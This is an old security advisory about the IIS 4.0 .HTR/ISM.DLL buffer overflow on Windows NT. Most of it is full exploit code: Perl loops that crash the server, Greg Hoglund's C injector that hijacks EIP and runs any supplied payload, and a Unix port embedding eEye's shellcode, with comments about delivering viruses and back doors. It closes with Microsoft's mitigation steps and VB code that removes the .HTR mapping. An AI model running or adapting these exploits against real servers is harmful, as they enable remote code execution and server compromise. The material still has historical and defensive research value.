COMMAND

    IIS

SYSTEMS AFFECTED

    Internet Information Server 4.0 (IIS4)
    Microsoft Windows NT 4.0 SP3 Option Pack 4
    Microsoft Windows NT 4.0 SP4 Option Pack 4
    Microsoft Windows NT 4.0 SP5 Option Pack 4

PROBLEM

    eEye  -  Digital  Security  Team  found  following.  They had been
    debating how to start out this advisory.  How do you explain  that
    90% or so of the Windows  NT web servers on the Internet  are open
    to a  hole that  lets an  attacker execute  arbitrary code  on the
    remote web server?  So the story starts...

    Find a buffer overflow that will affect 90% of the Windows NT  web
    servers on  the Internet.   Exploit this  buffer overflow.   There
    will be  overflows in  at least  one of  the default  IIS filtered
    extensions  (i.e.  .ASP,  .IDC,  .HTR).   The  way eEye thinks the
    exploit will take place is that IIS will pass the full URL to  the
    DLL that handles the extension.   Therefore if the ISAPI DLL  does
    not do proper bounds checking it will overflow a buffer taking IIS
    (inetinfo.exe) with it and allow  us to execute arbitrary code  on
    the remote server.

    At  the  same  time  of  working  on their advisory, eEye had been
    working on the AI mining  logic for Retina's HTTP module.   What's
    the better test scenario than this?   Gave Retina a list of 10  or
    so  extensions  common  to  IIS  and  instructed  it  to  find any
    possible holes relating to these extensions.  After about an  hour
    Retina found what appeared to be a hole.  It displayed that  after
    sending

	GET /[overflow].htr HTTP/1.0

    it had  crashed the  server.   Well, let's  start up  the good ol'
    debugger and had Retina hit the server again.  The Registers:

	EAX = 00F7FCC8 EBX = 00F41130
	ECX = 41414141 EDX = 77F9485A
	ESI = 00F7FCC0 EDI = 00F7FCC0
	EIP = 41414141 ESP = 00F4106C
	EBP = 00F4108C EFL = 00000246

    Note: Retina  was using  "A" (0x41  in hex)  for the  character to
    overflow with.   If you're  not familiar  with buffer  overflows a
    quick  note  would  be  that  getting  our  bytes  into any of the
    registers is  a good  sign, and  directly into  EIP makes  it even
    easier.

    The overflow is in relation to the .HTR extensions.  IIS  includes
    the capability to allow Windows NT users to change their  password
    via the web directory /iisadmpwd/.  This feature is implemented as
    a set  of .HTR  files and  the ISAPI  extension file  ISM.DLL.  So
    somewhere  along  the  line  when  the  URL  is  passed through to
    ISM.DLL, proper bounds checking is not done and our overflow takes
    place.  The .HTR/ISM.DLL ISAPI  filter is installed by default  on
    IIS4 servers.   Looks like we  got our 90%  of the Windows  NT web
    servers part down.

    However can we exploit this?  Yes.  We can definitely exploit this
    and eEye had.  One nice thing to note is that the exploit has been
    crafted in such a way to  work on SP4 and SP5 machines,  therefore
    there is no guessing  of offsets and possible  accidental crashing
    of the remote server.

    Related links:

    Retina - The Network Security Scanner
	http://www.eEye.com/retina/

    Retina - Brain File used to uncover the hole
	http://www.eEye.com/database/advisories/ad06081999/ad06081999-brain.html

    Exploit - How eEte did it and the code.
	http://www.eEye.com/database/advisories/ad06081999/ad06081999-exploit.html

    Ryan R. Permeh added following code:

    #!/usr/bin/perl
    #props to the absu crew
    use Net::Telnet;
    for ($i=2500;$i<3500;$i++)
     {
	    $obj=Net::Telnet->new( Host => "$ARGV[0]",Port => 80);
	    my $cmd = "GET /". 'A' x $i . ".htr HTTP/1.0\n";
	    print "$cmd\n";$obj->print("$cmd");
	    $obj->close;
     }

    However, it may be silly to use Net::Telnet for HTTP, so:

    use LWP::Simple;
    for ($i = 2500; $i <= 3500; $i++) {
      warn "$i\n";
      get "http://$ARGV[0]/".('a' x $i).".htr";
    }

    Greg Hoglund could not resist writing an exploit.  He did not  had
    time  to  design  a  really  cool  payload for this exploit, so he
    simply wrote the injection code.  However, this is meaningful  for
    several reasons.   Attached is  the injection  code.   The exploit
    will deliver any payload of  your choosing.  Your payload  will be
    executed.  This empowers you to create a "collection" of  payloads
    that are not dependant upon the injection vector in any way.  This
    decoupling  is  important  for  military  needs,  where  a  single
    injection vector needs to work, but the "warhead" may be different
    depending on the targets characterization.  The exploit was fairly
    simple to build.  In short,  he read eEye had overflowed IIS  with
    something like a  ~3000 character URL.   Within minutes he  caused
    IIS to crash with EIP under his control.  Heused a special pattern
    in the buffer (see code) to make it easy to identify where EIP was
    being popped  from.   The pattern  also made  it easy to determine
    where he was jumping around.   Use the tekneek Danielson.  So,  he
    controlled EIP, but he needed to get back to my stack segment,  of
    course.  This  is old school,  and he really  lucked out.   Pushed
    down two levels on the stack  was an address for the buffer.   Who
    could  ask  for  more.   So,  Greg  found  a location in NTDLL.DLL
    (0x77F88CF0) that he could return  to.  It had two  pop's followed
    by a return.  This made  his injection vector return to the  value
    that was stored two layers down on  the stack.  Bam, he was in  my
    buffer.  So, he  landed in a weird  place, had to add  a near jump
    to get to somewhere more useful.. nothing special, and here we are
    with about 2K of  payload space.  If  you don't supply any  mobile
    code to  be run,  the injection  vector will  supply some for you.
    The default  payload in  simply a  couple of  no-ops followed by a
    debug breakpoint (interrupt 3)...   It's easy to play with  if you
    want to build your own payloads.. just keep a debugger attached to
    inetinfo.exe on the target machine.

    // IIS Injector for NT
    // written by Greg Hoglund <hoglund@ieway.com>
    // http://www.rootkit.com
    //
    // If you would like to deliver a payload, it must be stored in a binary file.
    // This injector decouples the payload from the injection code allowing you to
    // create a numnber of different attack payloads.  This code could be used, for
    // example, by a military that needs to attack IIS servers, and has characterized
    // the eligible hosts.  The proper attack can be chosen depending on needs.  Since
    // the payload is so large with this injection vector, many options are available.
    // First and foremost, virii can delivered with ease.  The payload is also plenty
    // large enough to remotely download and install a back door program.
    // Considering the monoculture of NT IIS servers out on the 'Net, this represents a
    // very serious security problem.

    #include <windows.h>
    #include <stdio.h>
    #include <winsock.h>

    void main(int argc, char **argv)
    {
	    SOCKET s = 0;
	    WSADATA wsaData;

	    if(argc < 2)
	    {
		    fprintf(stderr, "IIS Injector for NT\nwritten by Greg Hoglund, " \
			    "http://www.rootkit.com\nUsage: %s <target" \
						    "ip> <optional payload file>\n", argv[0]);
		    exit(0);
	    }

	    WSAStartup(MAKEWORD(2,0), &wsaData);

	    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

	    if(INVALID_SOCKET != s)
	    {
		    SOCKADDR_IN anAddr;
		    anAddr.sin_family = AF_INET;
		    anAddr.sin_port = htons(80);
		    anAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]);

		    if(0 == connect(s, (struct sockaddr *)&anAddr, sizeof(struct sockaddr)))
		    {
			    static char theSploit[4096];
			    // fill pattern
			    char kick = 'z'; //0x7a
			    char place = 'A';

			    // my uber sweet pattern gener@t0r
			    for(int i=0;i<4096;i+=4)
			    {
				    theSploit[i] = kick;
				    theSploit[i+1] = place;
				    theSploit[i+2] = place + 1;
				    theSploit[i+3] = place + 2;

				    if(++place == 'Y') // beyond 'XYZ'
				    {
					    place = 'A';
					    if(--kick < 'a') kick = 'a';
				    }
			    }

			    _snprintf(theSploit, 5, "get /");
			    _snprintf(theSploit + 3005, 22, "BBBB.htr HTTP/1.0\r\n\r\n\0");

			    // after crash, looks like inetinfo.exe is jumping to the address
			    // stored @ location 'GHtG' (0x47744847)
			    // cross reference back to the buffer pattern, looks like we need
			    // to store our EIP into theSploit[598]

			    // magic eip into NTDLL.DLL
			    theSploit[598] = (char)0xF0;
			    theSploit[599] = (char)0x8C;
			    theSploit[600] = (char)0xF8;
			    theSploit[601] = (char)0x77;

			    // code I want to execute
			    // will jump foward over the
			    // embedded eip, taking us
			    // directly to the payload
			    theSploit[594] = (char)0x90;  //nop
			    theSploit[595] = (char)0xEB;  //jmp
			    theSploit[596] = (char)0x35;  //
			    theSploit[597] = (char)0x90;  //nop

			    // the payload.  This code is executed remotely.
			    // if no payload is supplied on stdin, then this default
			    // payload is used.  int 3 is the debug interrupt and
			    // will cause your debugger to "breakpoint" gracefully.
			    // upon examiniation you will find that you are sitting
			    // directly in this code-payload.
			    if(argc < 3)
			    {
				    theSploit[650] = (char) 0x90; //nop
				    theSploit[651] = (char) 0x90; //nop
				    theSploit[652] = (char) 0x90; //nop
				    theSploit[653] = (char) 0x90; //nop
				    theSploit[654] = (char) 0xCC; //int 3
				    theSploit[655] = (char) 0xCC; //int 3
				    theSploit[656] = (char) 0xCC; //int 3
				    theSploit[657] = (char) 0xCC; //int 3
				    theSploit[658] = (char) 0x90; //nop
				    theSploit[659] = (char) 0x90; //nop
				    theSploit[660] = (char) 0x90; //nop
				    theSploit[661] = (char) 0x90; //nop
			    }
			    else
			    {
				    // send the user-supplied payload from
				    // a file.  Yes, that's a 2K buffer for
				    // mobile code.  Yes, that's big.
				    FILE *in_file;
				    in_file = fopen(argv[2], "rb");
				    if(in_file)
				    {
					    int offset = 650;
					    while( (!feof(in_file)) && (offset < 3000))
					    {
						    theSploit[offset++] = fgetc(in_file);
					    }
					    fclose(in_file);
				    }
			    }
			    send(s, theSploit, strlen(theSploit), 0);
		    }
		    closesocket(s);
	    }
    }

    The teso crew  has ported the  iis exploit to  linux...  basically
    this program  does the  same as  the windows  version (written  in
    asm)  of  original  exploit.   Produced  shellcode  is identical..
    everything should work.. it wasn't tested.

    /* iis 4.0 exploit
     * by eeye security
     *
     * ported to unix/C by the teso crew.
     *
     * shoutouts to #hax and everyone else knowing us...
     *  you know who you are.
     *
     * gcc -o tesoiis tesoiis.c -Wall
     */

    #include <sys/types.h>
    #include <sys/ioctl.h>
    #include <sys/socket.h>
    #include <sys/time.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <net/if.h>
    #include <netinet/in.h>
    #include <errno.h>
    #include <fcntl.h>
    #include <stdarg.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>

    int     net_connect (struct sockaddr_in *cs, char *server,
	    unsigned short int port, char *sourceip,
	    unsigned short int sourceport, int sec);

    void    net_write (int fd, const char *str, ...);

    unsigned long int       net_resolve (char *host);

    char stuff[] = "\x42\x68\x66\x75\x41\x50"; /* "!GET /" */

    #define URL_OFFSET      1055

    char front[] = "GET /AAAAAAA"
	    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	    "\x41\x41\x41\x41\x41\x41\xb0\x87\x67\x68\xb0\x87"
	    "\x67\x68\x90\x90\x90\x90\x58\x58\x90\x33\xc0\x50"
	    "\x5b\x53\x59\x8b\xde\x66\xb8\x21\x02\x03\xd8\x32"
	    "\xc0\xd7\x2c\x21\x88\x03\x4b\x3c\xde\x75\xf4\x43"
	    "\x43\xba\xd0\x10\x67\x68\x52\x51\x53\xff\x12\x8b"
	    "\xf0\x8b\xf9\xfc\x59\xb1\x06\x90\x5a\x43\x32\xc0"
	    "\xd7\x50\x58\x84\xc0\x50\x58\x75\xf4\x43\x52\x51"
	    "\x53\x56\xb2\x54\xff\x12\xab\x59\x5a\xe2\xe6\x43"
	    "\x32\xc0\xd7\x50\x58\x84\xc0\x50\x58\x75\xf4\x43"
	    "\x52\x53\xff\x12\x8b\xf0\x5a\x33\xc9\x50\x58\xb1"
	    "\x05\x43\x32\xc0\xd7\x50\x58\x84\xc0\x50\x58\x75"
	    "\xf4\x43\x52\x51\x53\x56\xb2\x54\xff\x12\xab\x59"
	    "\x5a\xe2\xe6\x33\xc0\x50\x40\x50\x40\x50\xff\x57"
	    "\xf4\x89\x47\xcc\x33\xc0\x50\x50\xb0\x02\x66\xab"
	    "\x58\xb4\x50\x66\xab\x58\xab\xab\xab\xb1\x21\x90"
	    "\x66\x83\xc3\x16\x8b\xf3\x43\x32\xc0\xd7\x3a\xc8"
	    "\x75\xf8\x32\xc0\x88\x03\x56\xff\x57\xec\x90\x66"
	    "\x83\xef\x10\x92\x8b\x52\x0c\x8b\x12\x8b\x12\x92"
	    "\x8b\xd7\x89\x42\x04\x52\x6a\x10\x52\xff\x77\xcc"
	    "\xff\x57\xf8\x5a\x66\x83\xee\x08\x56\x43\x8b\xf3"
	    "\xfc\xac\x84\xc0\x75\xfb\x41\x4e\xc7\x06\x8d\x8a"
	    "\x8d\x8a\x81\x36\x80\x80\x80\x80\x33\xc0\x50\x50"
	    "\x6a\x48\x53\xff\x77\xcc\xff\x57\xf0\x58\x5b\x8b"
	    "\xd0\x66\xb8\xff\x0f\x50\x52\x50\x52\xff\x57\xe8"
	    "\x8b\xf0\x58\x90\x90\x90\x90\x50\x53\xff\x57\xd4"
	    "\x8b\xe8\x33\xc0\x5a\x52\x50\x52\x56\xff\x77\xcc"
	    "\xff\x57\xec\x80\xfc\xff\x74\x0f\x50\x56\x55\xff"
	    "\x57\xd8\x80\xfc\xff\x74\x04\x85\xc0\x75\xdf\x55"
	    "\xff\x57\xdc\x33\xc0\x40\x50\x53\xff\x57\xe4\x90"
	    "\x90\x90\x90\xff\x6c\x66\x73\x6f\x66\x6d\x54\x53"
	    "\x21\x80\x8d\x84\x93\x86\x82\x95\x21\x80\x8d\x98"
	    "\x93\x8a\x95\x86\x21\x80\x8d\x84\x8d\x90\x94\x86"
	    "\x21\x80\x8d\x90\x91\x86\x8f\x21\x78\x8a\x8f\x66"
	    "\x99\x86\x84\x21\x68\x8d\x90\x83\x82\x8d\x62\x8d"
	    "\x8d\x90\x84\x21\x78\x74\x70\x64\x6c\x54\x53\x21"
	    "\x93\x86\x84\x97\x21\x94\x86\x8f\x85\x21\x94\x90"
	    "\x84\x8c\x86\x95\x21\x84\x90\x8f\x8f\x86\x84\x95"
	    "\x21\x88\x86\x95\x89\x90\x94\x95\x83\x9a\x8f\x82"
	    "\x8e\x86\x21\x90\x98\x8f\x4f\x86\x99\x86\x21"
    /* stick it in here */
	    "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
	    "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
	    "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
	    "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
	    "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
	    "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
	    "\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
	    "\x21\x21\x21"
	    ".htr HTTP/1.0";

    void
    usage (void)
    {
	    printf ("usage: ./tesoiis host port url\n");
	    exit (EXIT_FAILURE);
    }

    int
    main (int argc, char *argv[])
    {
	    /* yadda,yadda.. you can try exploiting our exploit!!
	     * update: hmm.. is this exploitable? gets EIP touched by exit()?
	     * gotta check this later...
	     */

	    char                    host[256], url[256];
	    int                     port,sd,t = 0;
	    int                     m = 0;
	    char                    *cc, *pfft;
	    struct sockaddr_in      cs;

	    printf ("teso crew IIS exploit.. shellcode by eEye.\n");
	    printf ("------------------------------------------\n");
	    if (argc < 4)
		    usage();

	    strcpy (host, argv[1]);
	    strcpy (url, argv[3]);

	    port = atoi (argv[2]);
	    if ((port < 1) || (port > 65535))
		    usage();

	    cc = url;
	    pfft = front + URL_OFFSET;

	    while (*cc) {
		    if (*cc == '/' && 0 == t) {
			    memcpy (pfft, stuff, 6);
			    pfft += 6;
			    t = 1;
		    } else {
			    *pfft = *cc + 0x21;
			    pfft++;
		    }
		    cc++;
		    m += 1;
	    }

	    printf ("Host: %s Port: %d Url: %s\n", host, port, url);

	    printf ("Connecting... ");
	    fflush (stdout);
	    sd = net_connect (&cs, host, port, NULL, 0, 30);

	    if (sd < 1) {
		    printf ("failed!\n");
		    exit (EXIT_FAILURE);
	    }

	    printf ("done.. sending shellcode..");
	    fflush (stdout);

	    net_write (sd, "%s\n\n", front);

	    printf ("done.. closing fd!\n");
	    close (sd);

	    printf ("%s\n", front);

	    exit (EXIT_SUCCESS);
    }

    int
    net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip,
		    unsigned short int sourceport, int sec)
    {
	    int             n, len, error, flags;
	    int             fd;
	    struct timeval  tv;
	    fd_set          rset, wset;

	    /* first allocate a socket */
	    cs->sin_family = AF_INET;
	    cs->sin_port = htons (port);

	    fd = socket (cs->sin_family, SOCK_STREAM, 0);
	    if (fd == -1)
		    return (-1);

	    if (!(cs->sin_addr.s_addr = net_resolve (server))) {
		    close (fd);
		    return (-1);
	    }

	    flags = fcntl (fd, F_GETFL, 0);
	    if (flags == -1) {
		    close (fd);
		    return (-1);
	    }
	    n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
	    if (n == -1) {
		    close (fd);
		    return (-1);
	    }

	    error = 0;

	    n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
	    if (n < 0) {
		    if (errno != EINPROGRESS) {
			    close (fd);
			    return (-1);
		    }
	    }
	    if (n == 0)
		    goto done;

	    FD_ZERO(&rset);
	    FD_ZERO(&wset);
	    FD_SET(fd, &rset);
	    FD_SET(fd, &wset);
	    tv.tv_sec = sec;
	    tv.tv_usec = 0;

	    n = select(fd + 1, &rset, &wset, NULL, &tv);
	    if (n == 0) {
		    close(fd);
		    errno = ETIMEDOUT;
		    return (-1);
	    }
	    if (n == -1)
		    return (-1);

	    if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
		    if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
			    len = sizeof(error);
			    if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
				    errno = ETIMEDOUT;
				    return (-1);
			    }
			    if (error == 0) {
				    goto done;
			    } else {
				    errno = error;
				    return (-1);
			    }
		    }
	    } else
		    return (-1);

    done:
	    n = fcntl(fd, F_SETFL, flags);
	    if (n == -1)
		    return (-1);
	    return (fd);
    }

    unsigned long int
    net_resolve (char *host)
    {
	    long            i;
	    struct hostent  *he;

	    i = inet_addr(host);
	    if (i == -1) {
		    he = gethostbyname(host);
		    if (he == NULL) {
			    return (0);
		    } else {
			    return (*(unsigned long *) he->h_addr);
		    }
	    }
	    return (i);
    }

    void
    net_write (int fd, const char *str, ...)
    {
	    char    tmp[8192];
	    va_list vl;
	    int     i;

	    va_start(vl, str);
	    memset(tmp, 0, sizeof(tmp));
	    i = vsnprintf(tmp, sizeof(tmp), str, vl);
	    va_end(vl);

	    send(fd, tmp, i, 0);
	    return;
    }

SOLUTION

    Microsoft highly recommends that customers evaluate the degree  of
    risk that this vulnerability poses to their systems and  determine
    whether to download and install the patch.  The patch can be found
    at:

        ftp://ftp.microsoft.com/bussys/IIS/iis-public/fixes/usa/ext-fix/

    Microsoft  highly  recommends  that  customers  disable the script
    mapping for  .HTR files  as follows  if not  is position  to apply
    patch:

	- From   the   desktop,   start   the Internet  Service Manager by
	  clicking Start   | Programs   | Windows   NT 4.0   Option Pack |
	  Microsoft   Internet   Information   Server   | Internet Service
	  Manager
	- Double-click "Internet Information Server"
	- Right-click on the computer name and select Properties
	- In the Master Properties drop-down box, select "WWW Service"
	  then click the "Edit" button.
	- Click   the   "Home    Directory"   tab,   then  click   the
	  "Configuration" button.
	- Highlight the line  in the extension mappings  that contains
	  ".HTR", then click the "Remove" button.
	- Respond "yes" to "Remove selected script mapping?" say  yes,
	  click OK 3 times, close ISM

    A patch will be  available shortly to eliminate  the vulnerability
    altogether.  For those of you  that have too many IIS machines  to
    yank  this  off  by  hand  here  is  some  vb code to set your IIS
    metabase remotely...  VB 5.0  sp3 IIS  Resource kit  installed  --
    Metabase editor utility from resource kit needs to be installed.

    <<Begin Here>>

    'The subs I put in Modules

    'handles the App Mappings tab of the application configuration screen
    Sub AppMappings(ByRef IIS)

	'delete all existing script paths
       Call DeleteAllLowerProperties(IIS, "ScriptMaps")


    'the only thing changed on scripts maps is htm & html mapped to
    asp.dll and removed the ism.dll mapping
	newscriptmaps =
    Array(".asa,C:\WINNT\System32\inetsrv\asp.dll,1,PUT,DELETE;",
    ".html,C:\WINNT\System32\inetsrv\asp.dll,1,PUT,DELETE;",
    ".asp,C:\WINNT\System32\inetsrv\asp.dll,1,PUT,DELETE;",
    ".cdx,C:\WINNT\System32\inetsrv\asp.dll,1,PUT,DELETE;",
    ".cer,C:\WINNT\System32\inetsrv\asp.dll,1,PUT,DELETE;",
    ".htm,C:\WINNT\System32\inetsrv\asp.dll,1,PUT,DELETE;",
    ".htw,C:\WINNT\System32\webhits.dll,3;",
    ".ida,C:\WINNT\System32\idq.dll,3;",
    ".idc,C:\WINNT\System32\inetsrv\httpodbc.dll,1;",
    ".idq,C:\WINNT\System32\idq.dll,3;",
    ".shtm,C:\WINNT\System32\inetsrv\ssinc.dll,1;",
    ".shtml,C:\WINNT\System32\inetsrv\ssinc.dll,1;",
    ".stm,C:\WINNT\System32\inetsrv\ssinc.dll,1")

	IIS.PutEx 2, "ScriptMaps", newscriptmaps

	IIS.SetInfo


    End Sub

    Sub DeleteAllLowerProperties(ByRef IIS, ByVal PropertyName)

    'delete all existing script paths
	PathList = IIS.GetDataPaths(PropertyName, 1)

       If Err.Number <> 0 Then
	    For Each Path In PathList
		Set objScriptPath = GetObject(Path)
		objScriptPath.PutEx 1, PropertyName, True
	    Next
	End If

    End Sub



    ' Start form1 here


    Function GetServerArray()
	 GetServerArray = Array("Websvr1", ...., "WebsvrX")

    End Function


    Private Sub Form_Load()

     ServerArray = GetServerArray()
	For Each Server In ServerArray
	   Set globalW3svc = GetObject("IIS://" & Server & "/W3SVC")
	   Call AppMappings(globalW3svc)

	 Next
    End Sub